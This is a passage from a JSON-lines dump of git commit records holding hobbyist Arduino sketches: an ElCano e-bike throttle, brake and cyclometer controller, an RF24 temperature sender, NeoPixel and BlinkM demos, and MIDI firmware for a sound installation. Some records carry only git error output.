(PWM, position) pairs when retracting or extending.\n Motor speed is probably controlled by the current on the red or black line. \n*\/\n\/*---------------------------------------------------------------------------------------*\/\nvoid initialize()\n{\n for (int i = 0; i < ERROR_HISTORY; i++)\n {\n speed_errors[i] = 0;\n }\n\n \n}\n\/*---------------------------------------------------------------------------------------*\/\nvoid setup()\n{\n \/\/Set up pin modes and interrupts, call serial.begin and call initialize.\n Serial.begin(115200); \/\/ monitor\n Serial3.begin(115200); \/\/ C3 to C2; C2 to C6\n\t\/* A typical message is 20 ASCII characters of 20 bits each\n\t (2 8-bit bytes \/ character + start bit + stop bit)\n\t At 115,200 bits\/s, a typical message takes 3.5 ms.\n\t Thus there is about a 10 ms delay (best case) in passing \n\t information from C6 to C2.\n\t*\/\n \n \/\/ SPI: set the slaveSelectPin as an output:\n pinMode (SelectAB, OUTPUT);\n pinMode (SelectCD, OUTPUT);\n pinMode (10, OUTPUT);\n SPI.setDataMode( SPI_MODE0);\n SPI.setBitOrder( MSBFIRST);\n \/\/ initialize SPI:\n SPI.begin(); \n for (int channel = 0; channel < 4; channel++)\n DAC_Write (channel, 0); \/\/ reset did not clear previous states\n \n pinMode(Throttle, OUTPUT);\n pinMode(DiskBrake, OUTPUT);\n pinMode(Steer, OUTPUT);\n pinMode(AccelerateJoystick, INPUT);\n pinMode(SteerJoystick, INPUT);\n pinMode(JoystickCenter, INPUT);\n\n Serial.println(\"Start initialization\"); \n initialize();\n setupWheelRev();\n \n moveBrake(NoBrake); \/\/ release brake\n start_time = millis() + 1000; \/\/ wait 1 sec to start.\n Serial.println(\"Initialized\");\n \n}\n\/*---------------------------------------------------------------------------------------*\/\nchar * GetWord(char * major, char * str)\n{\n\tchar * CSp1;\n\n\tCSp1 = strstr(str, major);\n\tif (CSp1!=NULL)\n\tCSp1 += strlen(major);\n\treturn CSp1;\n}\nfloat GetNumber(char *minor, char*Args)\n{\n float data = NaN;\n if (Args == NULL) return data;\n \/\/ SENSOR, so grab the new sensor_speed.\n char * Number = GetWord(minor, Args);\n if (Number==NULL) return data;\n \/\/ change } to 0\n char* end = strchr(Number, '}');\n if (end == NULL) return NaN;\n *end = '\\0';\n data = atof(Number);\n \/\/ change back to }\n *end = '}';\n \/\/ convert speed from km\/h to mm\/s\n\/\/ sensor_speed_mmPs = (long)(data * 1000000.0 \/ 3600.0);\n return data;\n}\n\/*---------------------------------------------------------------------------------------*\/\n#define MSG_NONE 0\n#define MSG_SENSOR 1\n#define MSG_DRIVE 2\nint ProcessMessage ()\n{\n int kind = MSG_NONE;\n float data;\n\t\/\/ Determine if message is \"SENSOR {Speed xxx.xx}\"\t\n\tchar * Args = GetWord (\"SENSOR\", IncomingMessage);\n\tif (Args != NULL)\n\t{\t\n data = GetNumber(\"Speed\", Args);\n \t \/\/ convert speed from km\/h to mm\/s\n \t if (data != NaN) \n {\n sensor_speed_mmPs = (long)(data * 1000000.0 \/ 3600.0);\n kind = MSG_SENSOR;\n }\n\t}\n\n return kind;\n}\n\/*---------------------------------------------------------------------------------------*\/\nvoid SetDriveSpeed(unsigned long time)\n{\n#define RAMP_UP_TIME 4000\n#define STEADY_TIME 5000\n#define COAST_TIME 15000\n if (time < start_time)\n throttle_control = MinimumThrottle;\n else if (time < start_time + RAMP_UP_TIME)\n {\n long int control = MinimumThrottle + (TestThrottle - MinimumThrottle) *\n (time - start_time) \/ RAMP_UP_TIME;\n throttle_control = control;\n }\n else if (time < start_time + RAMP_UP_TIME + STEADY_TIME)\n {\n throttle_control = TestThrottle; \n } \n else\n {\n throttle_control = MinimumThrottle;\n brake_control = FullBrake;\n }\n\n}\n\/*---------------------------------------------------------------------------------------*\/\nvoid LogData(unsigned long time)\n{ \/\/ Comma separated values to transfer to spread-sheet\n if (time < start_time + RAMP_UP_TIME + STEADY_TIME + COAST_TIME)\n {\n Serial.print(time); Serial.print(',');\n Serial.print(SpeedCyclometer_mmPs); Serial.print(',');\n Serial.print(throttle_control); Serial.print(',');\n Serial.println(brake_control);\n }\n \n}\n\/*---------------------------------------------------------------------------------------*\/\nvoid loop()\n{\n int incomingByte = 0; \/\/ for incoming serial data\n unsigned long time, endTime;\n time = millis();\n endTime = time + LOOP_TIME_MS ;\n while (time < endTime)\n {\n\tif ( Serial3.available() > 0) \n\t{\n\t \/\/ read the incoming byte from C4:\n\t incomingByte = Serial3.read();\n\t {\n\t\tIncomingMessage[InIndex] = (char)(incomingByte);\n\t\tif (IncomingMessage[InIndex] == '\\0'\n\t\t || InIndex >= BUFFER_SIZE-1)\n\t\t{\n\t\t int kind = ProcessMessage(); \/\/ see what we got\n \/\/ ProcessMessage may set sensor_speed_mmPs\n\t\t InIndex = 0;\n if (kind != MSG_SENSOR) \/\/ Sensor messages originate from C6\n\t\t Serial3.print(IncomingMessage); \/\/ pass msg on to C6\n Serial.println(IncomingMessage); \/\/ for monitor\n\t\t}\n\t\telse\n\t\t{\n\t\t ++InIndex; \t\n\t\t}\n\t }\n\t}\n\ttime = millis();\n }\n SetDriveSpeed(time);\n show_speed(); \/\/ set cyclometer speed\n moveVehicle(throttle_control);\n moveBrake(brake_control);\n LogData(time);\n\n \n \/\/ apply steering\n steer_control = Straight;\n moveSteer(steer_control); \n \n}\n\/*---------------------------------------------------------------------------------------*\/\n\/*---------------------------------------------------------------------------------------*\/ \nvoid moveBrake(int i)\n{\n analogWrite(DiskBrake, i);\n}\n\/*---------------------------------------------------------------------------------------*\/\nvoid moveSteer(int i)\n{\n analogWrite(Steer, i);\n}\n\/*---------------------------------------------------------------------------------------*\/\nvoid moveVehicle(int counts)\n{\n \/* Observed behavior on ElCano #1 E-bike no load (May 10, 2013, TCF)\n 0.831 V at rest 52 counts\n 1.20 V: nothing 75\n 1.27 V: just starting 79\n 1.40 V: slow, steady 87\n 1.50 V: brisker 94\n 3.63 V: max 227 counts \n 255 counts = 4.08 V \n *\/\n DAC_Write(0, counts);\n}\n\/*---------------------------------------------------------------------------------------*\/\n\/* DAC_Write applies value to address, producing an analog voltage.\n\/\/ address: 0 for chan A; 1 for chan B; 2 for chan C; 3 for chan D\n\/\/ value: digital value converted to analog voltage\n\/\/ Output goes to mcp 4802 Digital-Analog Converter Chip via SPI\n\/\/ There is no input back from the chip.\n*\/\nvoid DAC_Write(int address, int value)\n\n\/*\nREGISTER 5-3: WRITE COMMAND REGISTER FOR MCP4802 (8-BIT DAC)\nA\/B \u2014 GA SHDN D7 D6 D5 D4 D3 D2 D1 D0 x x x x\nbit 15 bit 0\n\nbit 15 A\/B: DACA or DACB Selection bit\n 1 = Write to DACB\n 0 = Write to DACA\nbit 14 \u2014 Don\u2019t Care\nbit 13 GA: Output Gain Selection bit\n 1 = 1x (VOUT = VREF * D\/4096)\n 0 = 2x (VOUT = 2 * VREF * D\/4096), where internal VREF = 2.048V.\nbit 12 SHDN: Output Shutdown Control bit\n 1 = Active mode operation. VOUT is available. \n 0 = Shutdown the selected DAC channel. Analog output is not available at the channel that was shut down.\n VOUT pin is connected to 500 k (typical)\nbit 11-0 D11:D0: DAC Input Data bits. Bit x is ignored.\n\n\nWith 4.95 V on Vcc, observed output for 255 is 4.08V.\nThis is as documented; with gain of 2, maximum output is 2 * Vref\n\n*\/\n\n{\n int byte1 = ((value & 0xF0)>>4) | 0x10; \/\/ acitve mode, bits D7-D4\n int byte2 = (value & 0x0F)<<4; \/\/ D3-D0\n if (address < 2)\n {\n \/\/ take the SS pin low to select the chip:\n digitalWrite(SelectAB,LOW);\n if (address >= 0)\n { \n if (address == 1)\n byte1 |= 0x80; \/\/ second channnel\n SPI.transfer(byte1);\n SPI.transfer(byte2);\n }\n \/\/ take the SS pin high to de-select the chip:\n digitalWrite(SelectAB,HIGH);\n }\n else\n {\n \/\/ take the SS pin low to select the chip:\n digitalWrite(SelectCD,LOW);\n if (address <= 3)\n {\n if (address == 3)\n byte1 |= 0x80; \/\/ second channnel\n SPI.transfer(byte1);\n SPI.transfer(byte2);\n }\n \/\/ take the SS pin high to de-select the chip:\n digitalWrite(SelectCD,HIGH);\n }\n}\n\/*---------------------------------------------------------------------------------------*\/ \n\/*---------------------------------------------------------------------------------------*\/ \n\/*=======================================================================================*\/\n\n\/* Wheel Revolution Interrupt routine\n Ben Spencer 10\/21\/13\n Modified by Tyler Folsom 3\/16\/14\n \n A cyclometer gives a click once per revolution. \n This routine computes the speed.\n*\/\n\/\/ CLICK_IN defined: use interrupt; not defined: simulate with timer\n#define SerialMonitor Serial\n#define CLICK_IN 1\n#define LOOP_TIME_MS 1000\n#define CLICK_TIME_MS 1000\n\n#define WHEEL_DIAMETER_MM 397\n#define MEG 1000000\n#define MAX_SPEED_KPH 50\n#define MAX_SPEED_mmPs ((MAX_SPEED_KPH * MEG) \/ 3600)\n\/\/ MAX_SPEED_mmPs = 13,888 mm\/s = 13.888 m\/s\nunsigned long MinTickTime_ms;\n\/\/ ((WHEEL_DIAMETER_MM * 3142) \/ MAX_SPEED_mmPs)\n\/\/ MinTickTime_ms = 89 ms\n#define MIN_SPEED_mPh 500\n\/\/ A speed of less than 0.5 KPH is zero.\nunsigned long MaxTickTime_ms;\n\/\/ ((WHEEL_DIAMETER_MM * 3142) \/ MIN_SPEED_mmPs)\n\/\/ MinTickTime_ms = 9239 ms = 9 sec\n\nfloat Odometer_m = 0;\n\/\/ Speed in revolutions per second is independent of wheel size.\nfloat SpeedCyclometer_revPs = 0.0;\/\/revolutions per sec\nvolatile unsigned long TickTime = 0;\nlong WheelRev_ms = 0;\nvolatile unsigned long OldTick = 0;\n\/\/ volatile unsigned long InterruptCount =0;\n#define IRQ_NONE 0\n#define IRQ_FIRST 1\n#define IRQ_RUNNING 2\nvolatile int InterruptState = IRQ_NONE;\nunsigned long ShowTime_ms;\n\/*-------------------------------------------------------------------------------*\/\n\/\/ WheelRev is called by an interrupt.\nvoid WheelRev()\n{\n static int flip = 0;\n unsigned long tick; \n noInterrupts();\n tick = millis();\n if (InterruptState != IRQ_RUNNING)\n \/\/ Need to process 1st two interrupts before results are meaningful.\n InterruptState++;\n\n if (tick - TickTime > MinTickTime_ms)\n {\n OldTick = TickTime;\n TickTime = tick;\n }\n if (flip)\n digitalWrite(13, LOW);\n else\n digitalWrite(13, HIGH);\n flip =!flip; \n \n interrupts();\n}\n\/*---------------------------------------------------------------------------------------*\/ \n\nvoid setupWheelRev() \n{ \n \n pinMode(13, OUTPUT); \/\/led\n digitalWrite(13, LOW);\/\/turn LED off\n \n pinMode(2, INPUT);\/\/pulls input HIGH\n float MinTick = WHEEL_DIAMETER_MM * PI;\n\/\/ SerialMonitor.print (\" MinTick = \");\n\/\/ SerialMonitor.println (MinTick);\n MinTick *= 1000.0;\n MinTick \/= MAX_SPEED_mmPs;\n\/\/ SerialMonitor.print (MinTick);\n MinTickTime_ms = MinTick;\n SerialMonitor.print (\" MinTickTime_ms = \");\n SerialMonitor.println (MinTickTime_ms);\n\n\/\/ SerialMonitor.print (\" MIN_SPEED_mPh = \");\n\/\/ SerialMonitor.print (MIN_SPEED_mPh);\n float MIN_SPEED_mmPs = ((MIN_SPEED_mPh * 1000.0) \/ 3600.0);\n \/\/ MIN_SPEED_mmPs = 135 mm\/s\n\/\/ SerialMonitor.print (\" MIN_SPEED_mmPs = \");\n\/\/ SerialMonitor.print (MIN_SPEED_mmPs);\n float MaxTick = (WHEEL_DIAMETER_MM * PI * 1000.0) \/ MIN_SPEED_mmPs;\n\/\/ SerialMonitor.print (\" MaxTick = \");\n\/\/ SerialMonitor.print (MaxTick);\n MaxTickTime_ms = MaxTick;\n\/\/ SerialMonitor.print (\" MaxTickTime = \");\n\/\/ SerialMonitor.println (MaxTickTime_ms);\n TickTime = millis();\n \/\/ OldTick will normally be less than TickTime.\n \/\/ When it is greater, TickTime - OldTick is a large positive number,\n \/\/ indicating that we have not moved.\n \/\/ TickTime would overflow after days of continuous operation, causing a glitch of\n \/\/ a display of zero speed. It is unlikely that we have enough battery power to ever see this.\n OldTick = TickTime;\n ShowTime_ms = TickTime;\n \/\/ InterruptCount = 0;\n InterruptState = IRQ_NONE;\n attachInterrupt (1, WheelRev, RISING);\/\/pin 3 on C2 Mega\n SerialMonitor.print(\"TickTime: \");\n SerialMonitor.print(TickTime);\n SerialMonitor.print(\" OldTick: \");\n SerialMonitor.println(OldTick);\n \n SerialMonitor.println(\"setup complete\");\n}\n\/*---------------------------------------------------------------------------------------*\/ \n\nvoid show_speed()\n{\n ShowTime_ms = millis(); \n if (InterruptState == IRQ_NONE || InterruptState == IRQ_FIRST) \/\/ no OR 1 interrupts\n {\n SpeedCyclometer_mmPs = 0;\n SpeedCyclometer_revPs = 0;\n } \n \/\/check if velocity has gone to zero\n else \/\/ have at least twointerrupts\n {\n if(ShowTime_ms - TickTime > MaxTickTime_ms)\n { \/\/ stopped\n\/* SerialMonitor.print(\"Stop. Showtime: \");\n SerialMonitor.print(ShowTime_ms);\n SerialMonitor.print(\" Tick: \");\n SerialMonitor.println(TickTime); *\/\n SpeedCyclometer_mmPs = 0;\n SpeedCyclometer_revPs = 0;\n }\n else\n { \/\/ moving\n\/\/ int revolutions;\n WheelRev_ms = max(TickTime - OldTick, ShowTime_ms - TickTime);\n if (InterruptState == IRQ_RUNNING)\n { \/\/ have new data\n \n float Circum_mm = (WHEEL_DIAMETER_MM * PI);\n if (WheelRev_ms > 0)\n {\n SpeedCyclometer_revPs = 1000.0 \/ WheelRev_ms;\n SpeedCyclometer_mmPs = Circum_mm * SpeedCyclometer_revPs;\n }\n else\n {\n SpeedCyclometer_mmPs = 0;\n SpeedCyclometer_revPs = 0;\n }\n }\n }\n }\n \/\/ Show on monitor\n\/* SerialMonitor.print(\"\\nWheelRev (ms): \");\n SerialMonitor.print(WheelRev_ms);\n SerialMonitor.print(\" SENSOR \");\n SerialMonitor.print(\"{Speed \");\n SerialMonitor.print(SpeedCyclometer_revPs);\n SerialMonitor.println(\"}\\0\"); *\/\n Odometer_m += (float)(LOOP_TIME_MS * SpeedCyclometer_mmPs) \/ MEG;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lab4_Drive\/Elcano_C2_Data\/Elcano_C2_Data.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a550068dba3c47bfc26b4e2b4004466457c617a0","subject":"added temperature and humidity RPI","message":"added temperature and humidity RPI\n\nadded adruino project that talks to the raspberry pi\n","repos":"redmachine2\/ArduinoProjects,redmachine2\/ArduinoProjects,redmachine2\/ArduinoProjects,redmachine2\/ArduinoProjects,redmachine2\/ArduinoProjects","old_file":"Temperature_and_Humidity\/Temperature_and_Humidity_RPI.ino","new_file":"Temperature_and_Humidity\/Temperature_and_Humidity_RPI.ino","new_contents":"#include <JeeLib.h> \/\/Low Power functions library\n#include <SPI.h>\n#include \"RF24.h\"\n\n\/\/ User Config for wireless module\nbool radioNumber = 1;\nRF24 radio(9,10);\n\/\/ Radio pipe addresses for the 2 nodes to communicate.\nconst uint64_t pipes[2] = { 0xF0F0F0F0E1LL, 0xF0F0F0F0D2LL };\nbyte addresses[][6] = {\"1Node\",\"2Node\"};\n\n\n\/\/\n\/\/ Payload\n\/\/\n\nconst int min_payload_size = 4;\nconst int max_payload_size = 32;\nconst int payload_size_increments_by = 1;\nint next_payload_size = min_payload_size;\n\nchar receive_payload[max_payload_size+1]; \/\/ +1 to allow room for a terminating NULL char\n\nISR(WDT_vect) { Sleepy::watchdogEvent(); } \/\/Setup the watchdog\n\/\/Setup temperature sensor\nint DHpin = 8;\nbyte dat [5];\nbyte read_data () {\n byte data;\n for (int i = 0; i < 8; i ++) {\n if (digitalRead (DHpin) == LOW) {\n while (digitalRead (DHpin) == LOW); \/\/ wait for 50us\n delayMicroseconds (30); \/\/ determine the duration of the high level to determine the data is '0 'or '1'\n if (digitalRead (DHpin) == HIGH)\n data |= (1 << (7-i)); \/\/ high front and low in the post\n while (digitalRead (DHpin) == HIGH); \/\/ data '1 ', wait for the next one receiver\n }\n }\nreturn data;\n}\n \nvoid start_test () {\n digitalWrite (DHpin, LOW); \/\/ bus down, send start signal\n delay (30); \/\/ delay greater than 18ms, so DHT11 start signal can be detected\n \n digitalWrite (DHpin, HIGH);\n delayMicroseconds (40); \/\/ Wait for DHT11 response\n \n pinMode (DHpin, INPUT);\n while (digitalRead (DHpin) == HIGH);\n delayMicroseconds (80); \/\/ DHT11 response, pulled the bus 80us\n if (digitalRead (DHpin) == LOW);\n delayMicroseconds (80); \/\/ DHT11 80us after the bus pulled to start sending data\n \n for (int i = 0; i < 4; i ++) \/\/ receive temperature and humidity data, the parity bit is not considered\n dat[i] = read_data ();\n \n pinMode (DHpin, OUTPUT);\n digitalWrite (DHpin, HIGH); \/\/ send data once after releasing the bus, wait for the host to open the next Start signal\n}\n\nint cToF (int c) {\n int f = 1.8 * c + 32;\n return f;\n}\n \nvoid setup () {\n Serial.begin (9600);\n pinMode (DHpin, OUTPUT);\n\n radio.begin();\n radio.enableDynamicPayloads();\n\n \/\/ Set the PA Level low to prevent power supply related issues since this is a\n \/\/ getting_started sketch, and the likelihood of close proximity of the devices. RF24_PA_MAX is default.\n \/\/ radio.setPALevel(RF24_PA_LOW);\n\n\/\/ radio.openWritingPipe(addresses[1]);\n\/\/ radio.openReadingPipe(1, addresses[0]);\n radio.openWritingPipe(pipes[0]);\n radio.openReadingPipe(1,pipes[1]);\n\n\/\/ radio.startListening();\n}\n \nvoid loop () {\n digitalWrite(13, LOW);\n start_test ();\n\nradio.stopListening();\n Serial.println(F(\"Now sending\"));\n Serial.println(dat[2], DEC);\n\/\/ if(!radio.write(&dat, sizeof(byte)*5)){\n\/\/ Serial.println(F(\"failed\"));\n\/\/ }\n\/\/ radio.write(&dat, sizeof(byte)*5);\n radio.write(dat, next_payload_size);\n\n radio.startListening();\n unsigned long started_waiting_at = millis();\n bool timeout = false;\n\n while(!radio.available() && !timeout){\n if(millis() - started_waiting_at > 1000){\n timeout = true;\n break;\n }\n }\n\n if(timeout){\n Serial.println(F(\"Failed, response time out.\"));\n }else{\n uint8_t len = radio.getDynamicPayloadSize();\n if(!len){\n return;\n }\n radio.read(receive_payload, len);\n receive_payload[len] = 0;\n Serial.print(F(\"Got response \"));\n Serial.println(receive_payload);\n }\n\n radio.stopListening();\n delay(500);\n Sleepy::loseSomeTime(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Temperature_and_Humidity\/Temperature_and_Humidity_RPI.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"19db078a0b1f33dc90e4aa704a5556b3dd8d4d71","subject":"found an error, can i keep it?","message":"found an error, can i keep it?\n\n","repos":"Tengo10\/Clock-Weather-Oled,Tengo10\/Clock-Weather-Oled","old_file":"Arduino\/OLEDOTA.ino","new_file":"Arduino\/OLEDOTA.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Tengo10\/Clock-Weather-Oled.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1267b8fee3ab2fc0f740c5dae6337c9153f11de8","subject":"Checkin a modified version of the strandtest.","message":"Checkin a modified version of the strandtest.\n","repos":"feanil\/thunder-lights,feanil\/thunder-lights,feanil\/thunder-lights","old_file":"arduino\/strandtest\/strandtest\/strandtest.ino","new_file":"arduino\/strandtest\/strandtest\/strandtest.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n#define PIN 7\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\n\/\/ NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(300, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nvoid setup() {\n \/\/ This is for Trinket 5V 16MHz, you can remove these three lines if you are not using a Trinket\n #if defined (__AVR_ATtiny85__)\n if (F_CPU == 16000000) clock_prescale_set(clock_div_1);\n #endif\n \/\/ End of trinket special code\n\n\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid loop() {\n \/\/ Some example procedures showing how to display to the pixels:\n\/\/ colorWipe(strip.Color(255, 255, 255), 50); \/\/ Red\n\/\/ colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n\/\/ colorWipe(strip.Color(0, 255, 0), 50); \/\/ Green\n\/\/ colorWipe(strip.Color(0, 0, 255), 50); \/\/ Blue\n\/\/\/\/colorWipe(strip.Color(0, 0, 0, 255), 50); \/\/ White RGBW\n\/\/ \/\/ Send a theater pixel chase in...\n\/\/ theaterChase(strip.Color(127, 127, 127), 50); \/\/ White\n\/\/ theaterChase(strip.Color(127, 0, 0), 50); \/\/ Red\n\/\/ theaterChase(strip.Color(0, 0, 127), 50); \/\/ Blue\n\n rainbow(20);\n rainbowCycle(20);\n theaterChaseRainbow(50);\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid rainbow(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/Theatre-style crawling lights.\nvoid theaterChase(uint32_t c, uint8_t wait) {\n for (int j=0; j<10; j++) { \/\/do 10 cycles of chasing\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, c); \/\/turn every third pixel on\n }\n strip.show();\n\n delay(wait);\n\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/Theatre-style crawling lights with rainbow effect\nvoid theaterChaseRainbow(uint8_t wait) {\n for (int j=0; j < 256; j++) { \/\/ cycle all 256 colors in the wheel\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, Wheel( (i+j) % 255)); \/\/turn every third pixel on\n }\n strip.show();\n\n delay(wait);\n\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/strandtest\/strandtest\/strandtest.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"23e7c0eef73f6c67e7279bd65d434e96db2a58b7","subject":"Added Arduino code to listen to clock and data lines and push one byte at a time to the serial port, will be useful for testing once Android portion of the code is working.","message":"Added Arduino code to listen to clock and data lines and push one byte at a time to the serial port, will be useful for testing once Android portion of the code is working.\n","repos":"embeddedwes\/AndroidToArduino,wescarl\/AndroidToArduino","old_file":"Arduino\/ForwardToSerial\/ForwardToSerial.ino","new_file":"Arduino\/ForwardToSerial\/ForwardToSerial.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/embeddedwes\/AndroidToArduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9842f2ba0d5452ea8c8fcaad6375f9e00afb2150","subject":"added blinkmstart","message":"added blinkmstart\n","repos":"todbot\/BlinkM-Arduino,todbot\/BlinkM-Arduino","old_file":"BlinkM\/examples\/BlinkMStart\/BlinkMStart.ino","new_file":"BlinkM\/examples\/BlinkMStart\/BlinkMStart.ino","new_contents":"\/*\n * BlinkMStart -- simplest BlinkM example.\n * Change the hue of the BlinkM\n * \n *\/\n\n#include \"BlinkM.h\"\n#include \"Wire.h\"\n\n\nint ledPin = 13; \/\/ select the pin for the LED\n\nint blinkm_addr = 0; \/\/ 0 = talk to all blinkms on the i2c bus\n\nbyte hue=0;\n\nBlinkM blinkm = BlinkM( blinkm_addr );\n\n\/\/\nvoid setup() \n{\n delay(1000);\n pinMode(ledPin, OUTPUT);\n\n \n blinkm.powerUp(); \/\/ use Analog pins A3 & A3 as power pins (only works for Arudino Uno)\n\n blinkm.begin();\n blinkm.off(); \/\/ stop script and go to black\n \n \n delay(1000);\n Serial.begin(19200);\n Serial.println(\"BlinkStart ready\");\n}\n\n\/\/\nvoid loop() \n{\n hue += 10; \/\/ random(0,255);\n Serial.print(\"Fading to hue \");\n Serial.println(hue);\n \n \/\/blinkm.fadeToHSB( hue, 255, 255);\n \n delay(1000);\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BlinkM\/examples\/BlinkMStart\/BlinkMStart.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1e63d6f0cc5de29c61ff39c9ce68a7285077c0e2","subject":"uploaded ensemble three firmeware","message":"uploaded ensemble three firmeware\n","repos":"Sonoscopia\/Phobos,Sonoscopia\/Phobos,Sonoscopia\/Phobos","old_file":"Ensembles\/EnsembleThree\/firmeware\/EnsembleThree_firmeware\/EnsembleThree_firmeware.ino","new_file":"Ensembles\/EnsembleThree\/firmeware\/EnsembleThree_firmeware\/EnsembleThree_firmeware.ino","new_contents":"\/* PHOBOS - EnsembleThree firmware v.0.2 (27.05.2017)\n * \n * using: \n * Arduino v1.8.0\n * MIDI_Library v.4.3.1 by fortyseveneffects\n * Servo Library v.1.1.2\n * \n * plays: \n * A - 1 motor on a typewriter and 2 telephones with speakers controlled by servos\n * B - 2 walkmans (ON\/OFF 3V) \n * C - 2 turntables activated by relays\n *\/\n\n#include <Servo.h>\n#include <MIDI.h>\n#define MIDICH 3\n\n\/\/ TYPEWRITER AND TELEPHONE'S PINS\n#define A1 6\n#define A2 7\n#define A3 8 \n\/\/ WAKMANS' PINS\n#define B1 4\n#define B2 5\n\/\/ TURNTABLES' PINS\n#define C1 2\n#define C2 3\n\n#define WALKMAN_VOLTAGE 3\n\n\/\/ servos\nServo servo1, servo2; \n\n\/\/ make note to pin array\nbyte note2pin[38];\nbyte vel, pitch, val, cc;\n\nMIDI_CREATE_DEFAULT_INSTANCE();\n\nvoid setup() {\n MIDI.begin(MIDICH); \/\/ Launch MIDI and listen to channel 1\n MIDI.turnThruOn();\n \n \/\/ set output pins\n pinMode(A1, OUTPUT);\n \/\/pinMode(A2, OUTPUT);\n \/\/pinMode(A3, OUTPUT);\n servo1.attach(A2);\n servo2.attach(A3);\n \n pinMode(B1, OUTPUT);\n pinMode(B2, OUTPUT);\n \n pinMode(C1, OUTPUT);\n pinMode(C2, OUTPUT);\n\n\n \/\/ set note2pin array\n note2pin[0] = A1;\n note2pin[1] = A2;\n note2pin[2] = A3;\n\n note2pin[24] = B1; \/\/ NOTE that both walkmans play at the same time!!!\n note2pin[25] = B2;\n\n note2pin[36] = C1;\n note2pin[37] = C2;\n}\n\nvoid loop() {\n if(MIDI.read()){\n switch(MIDI.getType()){\n case midi::NoteOn:\n pitch = MIDI.getData1();\n vel = MIDI.getData2();\n if(pitch == 36 || pitch == 37){ \/\/ activate relay\n digitalWrite(note2pin[pitch], LOW); \n }\n else{\n if(pitch == 24){ \/\/ activate both walkmans\n analogWrite(note2pin[pitch], voltage2byte(WALKMAN_VOLTAGE));\n analogWrite(note2pin[pitch+1], voltage2byte(WALKMAN_VOLTAGE));\n }\n else{\n analogWrite(note2pin[pitch], vel << 1); \/\/ activate typewriter motor\n }\n }\n\n case midi::NoteOff:\n pitch = MIDI.getData1();\n if(pitch == 36 || 37){ \/\/ deactivate relays\n digitalWrite(pitch, HIGH);\n }\n else{\n analogWrite(note2pin[pitch], LOW);\n }\n break;\n \n \/\/ CONTROL CHANGE (TELEPHONES)\n case midi::ControlChange:\n cc = MIDI.getData1();\n val = MIDI.getData2();\n analogWrite(note2pin[cc], val); 